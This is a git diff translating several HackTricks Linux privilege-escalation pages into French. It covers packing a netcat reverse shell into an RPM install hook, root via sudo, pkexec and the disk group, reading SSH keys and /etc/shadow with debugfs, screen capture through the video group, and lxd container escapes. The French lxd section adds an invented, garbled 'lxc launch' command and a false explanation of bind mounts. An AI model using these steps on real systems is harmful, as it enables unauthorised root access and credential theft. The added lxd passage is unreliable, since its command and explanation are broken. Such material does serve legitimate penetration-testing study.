☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [PLANS D'ABONNEMENT](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [La famille PEASS](https://opensea.io/collection/the-peass-family), notre collection exclusive de [NFTs](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [swag officiel PEASS & HackTricks](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [💬](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [groupe telegram](https://t.me/peass) ou **suivez** moi sur **Twitter** [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks_live). -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/). +D'autres exemples autour de yum peuvent également être trouvés sur [gtfobins](https://gtfobins.github.io/gtfobins/yum/). -# Executing arbitrary commands via RPM Packages -## Checking the Environment -In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root. +# Exécution de commandes arbitraires via les paquets RPM +## Vérification de l'environnement +Pour exploiter cette vulnérabilité, l'utilisateur doit être en mesure d'exécuter des commandes yum en tant qu'utilisateur à privilèges élevés, c'est-à-dire root. -### A working example of this vector -A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com). +### Un exemple de travail de cette vulnérabilité +Un exemple de travail de cette vulnérabilité peut être trouvé dans la salle [daily bugle](https://tryhackme.com/room/dailybugle) sur [tryhackme](https://tryhackme.com). -## Packing an RPM -In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm). - -The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary. +## Emballage d'un RPM +Dans la section suivante, je vais couvrir l'emballage d'un shell inversé dans un RPM en utilisant [fpm](https://github.com/jordansissel/fpm). +L'exemple ci-dessous crée un paquet qui inclut un déclencheur avant l'installation avec un script arbitraire qui peut être défini par l'attaquant. Lorsqu'il est installé, ce paquet exécutera la commande arbitraire. J'ai utilisé un exemple de shell netcat inversé simple à des fins de démonstration, mais cela peut être modifié selon les besoins. ```text EXPLOITDIR=$(mktemp -d) CMD='nc -e /bin/bash ' @@ -37,29 +34,9 @@ RPMNAME="exploited" echo $CMD > $EXPLOITDIR/beforeinstall.sh fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR ``` +# Obtenir un shell +En utilisant l'exemple ci-dessus et en supposant que `yum` peut être exécuté en tant qu'utilisateur à privilèges élevés : -# Catching a shell -Using the above example and assuming `yum` can be executed as a higher-privileged user. - -1. **Transfer** the rpm to the host -2. **Start** a listener on your local host such as the [example netcat listener](/shells/shells/linux#netcat) -3. **Install** the vulnerable package `yum localinstall -y exploited-1.0-1.noarch.rpm` - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - +1. **Transférez** le fichier rpm sur l'hôte +2. **Démarrez** un écouteur sur votre hôte local tel que l'[exemple d'écouteur netcat](/shells/shells/linux#netcat) +3. **Installez** le package vulnérable `yum localinstall -y exploited-1.0-1.noarch.rpm` diff --git a/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index dddc8f328..45ee371cd 100644 --- a/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -1,28 +1,25 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-# Sudo/Admin Groups +# Groupes Sudo/Admin -## **PE - Method 1** - -**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines: +## **PE - Méthode 1** +**Parfois**, **par défaut \(ou parce que certains logiciels en ont besoin\)**, vous pouvez trouver dans le fichier **/etc/sudoers** certaines de ces lignes: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -30,47 +27,36 @@ # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` +Cela signifie que **tout utilisateur appartenant au groupe sudo ou admin peut exécuter n'importe quoi en tant que sudo**. -This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +Si c'est le cas, pour **devenir root, vous pouvez simplement exécuter**: ```text sudo su ``` +## PE - Méthode 2 -## PE - Method 2 - -Find all suid binaries and check if there is the binary **Pkexec**: - +Trouvez tous les binaires suid et vérifiez s'il y a le binaire **Pkexec** : ```bash find / -perm -4000 2>/dev/null ``` - -If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec. -Check the contents of: - +Si vous trouvez que le binaire pkexec est un binaire SUID et que vous appartenez à sudo ou admin, vous pourriez probablement exécuter des binaires en tant que sudo en utilisant pkexec. +Vérifiez le contenu de: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` +Vous trouverez ici les groupes autorisés à exécuter **pkexec** et qui, par défaut, peuvent **apparaître** dans certains systèmes Linux tels que **sudo** ou **admin**. -There you will find which groups are allowed to execute **pkexec** and **by default** in some linux can **appear** some of the groups **sudo or admin**. - -To **become root you can execute**: - +Pour **devenir root, vous pouvez exécuter** : ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` - -If you try to execute **pkexec** and you get this **error**: - +Si vous essayez d'exécuter **pkexec** et que vous obtenez cette **erreur** : ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` - -**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**: +**Ce n'est pas parce que vous n'avez pas les permissions mais parce que vous n'êtes pas connecté sans interface graphique**. Et il y a une solution de contournement pour ce problème ici: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Vous avez besoin de **2 sessions ssh différentes**: {% code title="session1" %} ```bash @@ -87,38 +73,29 @@ pkttyagent --process #Step 2, attach pkttyagent to session1 ``` {% endcode %} -# Wheel Group - -**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: +# Groupe Wheel +**Parfois**, **par défaut** dans le fichier **/etc/sudoers**, vous pouvez trouver cette ligne : ```text %wheel ALL=(ALL:ALL) ALL ``` +Cela signifie que **n'importe quel utilisateur appartenant au groupe wheel peut exécuter n'importe quoi en tant que sudo**. -This means that **any user that belongs to the group wheel can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +Si c'est le cas, pour **devenir root, vous pouvez simplement exécuter**: ```text sudo su ``` +# Groupe Shadow -# Shadow Group - -Users from the **group shadow** can **read** the **/etc/shadow** file: - +Les utilisateurs du **groupe shadow** peuvent **lire** le fichier **/etc/shadow** : ```text -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` +# Groupe de disque -So, read the file and try to **crack some hashes**. - -# Disk Group - - This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. - -Files:`/dev/sd[a-z][1-9]` +Ce privilège est presque **équivalent à un accès root** car vous pouvez accéder à toutes les données à l'intérieur de la machine. +Fichiers: `/dev/sd[a-z][1-9]` ```text debugfs /dev/sda1 debugfs: cd /root @@ -126,64 +103,55 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` - -Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do: - +Notez que vous pouvez également **écrire des fichiers** en utilisant debugfs. Par exemple, pour copier `/tmp/asd1.txt` vers `/tmp/asd2.txt`, vous pouvez faire : ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` +Cependant, si vous essayez d'**écrire des fichiers appartenant à root** \(comme `/etc/shadow` ou `/etc/passwd`\), vous obtiendrez une erreur "**Permission denied**". -However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error. - -# Video Group - -Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: +# Groupe Vidéo +En utilisant la commande `w`, vous pouvez trouver **qui est connecté au système** et cela affichera une sortie comme celle-ci : ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` +Le **tty1** signifie que l'utilisateur **yossi est connecté physiquement** à un terminal sur la machine. -The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. - -The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` - +Le groupe **video** a accès à la visualisation de la sortie de l'écran. Fondamentalement, vous pouvez observer les écrans. Pour ce faire, vous devez **capturer l'image actuelle de l'écran** en données brutes et obtenir la résolution que l'écran utilise. Les données de l'écran peuvent être enregistrées dans `/dev/fb0` et vous pouvez trouver la résolution de cet écran sur `/sys/class/graphics/fb0/virtual_size`. ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` - -To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**: +Pour **ouvrir** l'**image brute**, vous pouvez utiliser **GIMP**, sélectionnez le fichier **`screen.raw`** et sélectionnez comme type de fichier **Données d'image brute**: ![](../../.gitbook/assets/image%20%28208%29.png) -Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\): +Ensuite, modifiez la largeur et la hauteur pour celles utilisées sur l'écran et vérifiez différents types d'images \(et sélectionnez celui qui montre le mieux l'écran\): ![](../../.gitbook/assets/image%20%28295%29.png) -# Root Group +# Groupe Root -It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... - -**Check which files root members can modify**: +Il semble que par défaut, les **membres du groupe root** pourraient avoir accès à **modifier** certains fichiers de configuration de **service** ou certains fichiers de **bibliothèques** ou **d'autres choses intéressantes** qui pourraient être utilisées pour escalader les privilèges... +**Vérifiez les fichiers que les membres de root peuvent modifier**: ```bash find / -group root -perm -g=w 2>/dev/null ``` +# Groupe Docker -# Docker Group - -You can mount the root filesystem of the host machine to an instance’s volume, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine. +Vous pouvez monter le système de fichiers racine de la machine hôte sur un volume de l'instance, de sorte que lorsque l'instance démarre, elle charge immédiatement un `chroot` dans ce volume. Cela vous donne effectivement un accès root sur la machine. {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} -# lxc/lxd Group +# Groupe lxc/lxd -[lxc - Privilege Escalation](lxd-privilege-escalation.md) +[lxc - Élévation de privilèges](lxd-privilege-escalation.md) @@ -191,16 +159,14 @@ You can mount the root filesystem of the host machine to an instance’s volume, ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. - - diff --git a/linux-unix/privilege-escalation/lxd-privilege-escalation.md b/linux-unix/privilege-escalation/lxd-privilege-escalation.md index 72a52bf5d..1c4bddec7 100644 --- a/linux-unix/privilege-escalation/lxd-privilege-escalation.md +++ b/linux-unix/privilege-escalation/lxd-privilege-escalation.md @@ -1,28 +1,25 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root +Si vous appartenez au groupe _**lxd**_ **ou** _**lxc**_, vous pouvez devenir root -# Exploiting without internet - -You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)\(follow the instructions of the github\): +# Exploitation sans internet +Vous pouvez installer sur votre machine ce générateur de distribution : [https://github.com/lxc/distrobuilder](https://github.com/lxc/distrobuilder) \(suivez les instructions du github\): ```bash #Install requirements sudo apt update @@ -40,37 +37,51 @@ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml #Create the container sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml ``` +Ensuite, téléchargez sur le serveur les fichiers **lxd.tar.xz** et **rootfs.squashfs** -Then, upload to the server the files **lxd.tar.xz** and **rootfs.squashfs** - -Add the image: - +Ajoutez l'image: ```bash lxc image import lxd.tar.xz rootfs.squashfs --alias alpine lxc image list #You can see your new imported image ``` +# Créer un conteneur et ajouter le chemin racine -Create a container and add root path +Lorsque vous créez un conteneur LXD, vous pouvez spécifier un chemin racine personnalisé pour le conteneur. Si vous spécifiez un chemin racine qui est un répertoire sur le système hôte, vous pouvez accéder à ce répertoire depuis le conteneur en tant que superutilisateur. +Pour créer un conteneur avec un chemin racine personnalisé, utilisez la commande suivante : + +``` +$ lxc launch -c security.privileged=true -c security.privileged.default=“true” -c raw.lxc=“lxc.mount.entry=/root/rootfs /var/lib/lxc//rootfs none bind,create=dir 0 0” +``` + +Dans cette commande, remplacez `` par le nom de l'image que vous souhaitez utiliser pour le conteneur, et `` par le nom que vous souhaitez donner au conteneur. + +La partie importante de cette commande est l'option `-c raw.lxc`. Cette option permet de spécifier des options LXC brutes pour le conteneur. Dans ce cas, nous utilisons l'option `lxc.mount.entry` pour monter le répertoire `/root/rootfs` du système hôte dans le répertoire `/var/lib/lxc//rootfs` du conteneur. L'option `none` spécifie que nous ne voulons pas monter le répertoire avec des options spécifiques, et `bind,create=dir` spécifie que nous voulons monter le répertoire en tant que lien symbolique et créer le répertoire s'il n'existe pas déjà. + +Une fois que vous avez créé le conteneur, vous pouvez vous y connecter en tant que superutilisateur et accéder au répertoire `/root/rootfs` du système hôte : + +``` +$ lxc exec -- /bin/bash +# cd /root/rootfs +# ls +``` + +Vous pouvez également accéder au répertoire depuis n'importe quel processus s'exécutant dans le conteneur, même s'il ne s'exécute pas en tant que superutilisateur. ```bash lxc init alpine privesc -c security.privileged=true lxc list #List containers lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true ``` - -Execute the container: - +Exécutez le conteneur : ```bash lxc start privesc lxc exec privesc /bin/sh [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` +# Avec internet -# With internet - -You can follow [these instructions](https://reboare.github.io/lxd/lxd-escape.html). - +Vous pouvez suivre [ces instructions](https://reboare.github.io/lxd/lxd-escape.html). ```bash lxc init ubuntu:16.04 test -c security.privileged=true lxc config device add test whatever disk source=/ path=/mnt/root recursive=true @@ -78,8 +89,7 @@ lxc start test lxc exec test bash [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` - -# Other Refs +# Autres références {% embed url="https://reboare.github.io/lxd/lxd-escape.html" caption="" %} @@ -89,16 +99,14 @@ lxc exec test bash ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. - - diff --git a/linux-unix/privilege-escalation/seccomp.md b/linux-unix/privilege-escalation/seccomp.md index c1765f5c7..5cd498314 100644 --- a/linux-unix/privilege-escalation/seccomp.md +++ b/linux-unix/privilege-escalation/seccomp.md @@ -1,36 +1,17 @@ +# Informations de base +**Seccomp** ou mode de calcul sécurisé, en résumé, est une fonctionnalité du noyau Linux qui peut agir comme un **filtre de syscall**.\ +Seccomp a 2 modes. -
+**seccomp** (abréviation de **mode de calcul sécurisé**) est une fonctionnalité de sécurité informatique dans le **noyau Linux**. seccomp permet à un processus de passer dans un état "sécurisé" où **il ne peut effectuer aucun appel système sauf** `exit()`, `sigreturn()`, `read()` et `write()` aux descripteurs de fichiers **déjà ouverts**. S'il tente d'effectuer d'autres appels système, le **noyau** **terminera** le **processus** avec SIGKILL ou SIGSYS. En ce sens, il ne virtualise pas les ressources du système mais isole complètement le processus de celles-ci. -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Le mode seccomp est **activé via l'appel système `prctl(2)`** en utilisant l'argument `PR_SET_SECCOMP`, ou (depuis le noyau Linux 3.17) via l'appel système `seccomp(2)`. Le mode seccomp était activé en écrivant dans un fichier, `/proc/self/seccomp`, mais cette méthode a été supprimée en faveur de `prctl()`. Dans certaines versions du noyau, seccomp désactive l'instruction x86 `RDTSC`, qui renvoie le nombre de cycles de processeur écoulés depuis la mise sous tension, utilisée pour la synchronisation de haute précision. -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +**seccomp-bpf** est une extension de seccomp qui permet **le filtrage des appels système en utilisant une politique configurable** implémentée à l'aide de règles de filtre de paquets Berkeley. Il est utilisé par OpenSSH et vsftpd ainsi que par les navigateurs Web Google Chrome/Chromium sur Chrome OS et Linux. (À cet égard, seccomp-bpf atteint une fonctionnalité similaire, mais avec plus de flexibilité et de meilleures performances, à l'ancien systrace - qui semble ne plus être pris en charge pour Linux.) -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +## **Mode original/strict** -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
